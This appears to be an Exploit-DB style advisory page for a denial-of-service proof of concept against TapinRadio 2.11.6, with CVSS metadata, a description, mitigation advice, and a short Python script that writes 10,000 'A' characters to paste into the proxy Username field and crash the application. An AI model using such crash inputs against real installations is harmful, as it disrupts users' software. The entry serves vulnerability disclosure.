TapinRadio 2.11.6 - 'Uername' Denial of Service (PoC)

vendor:

TapinRadio

by:

Victor Mondragón

7.8

CVSS

HIGH

Denial of Service

400

CWE

Product Name: TapinRadio

Affected Version From: 2.11.6

Affected Version To: 2.11.6

Patch Exists: YES

Related CWE: N/A

CPE: a:raimersoft:tapinradio:2.11.6

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 7 Service Pack 1 x64

2019

TapinRadio 2.11.6 – ‘Uername’ Denial of Service (PoC)

TapinRadio 2.11.6 is vulnerable to a denial of service attack when a maliciously crafted username is provided. By providing a username of 10000 'A' characters, the application will crash when the user attempts to set the application proxy.

Mitigation:

Users should ensure that they are running the latest version of TapinRadio and should not provide untrusted input to the application.

Source

Exploit-DB raw data:

#Exploit Title: TapinRadio 2.11.6 - 'Uername' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-21
#Vendor Homepage: http://www.raimersoft.com/
#Software Link: www.raimersoft.com/downloads/tapinradio_setup_x64.exe
#Tested Version: 2.11.6
#Tested on: Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: tapinadio_user.py
#2.- Open tapin_user.txt and copy content to clipboard
#3.- Open TapinRadio
#4.- Select "Settings" > "Preferences" > "Miscellaneous"
#5.- Select "Set Application Proxy..."" In "Username" field paste Clipboard
#6.- In Server type "1.1.1.1" > Port type 444  > Password type "1234"
#7.- Select "OK" and "OK"
#8.- Crashed

cod = "\x41" * 10000
	
f = open('tapin_user.txt', 'w')
f.write(cod)
f.close()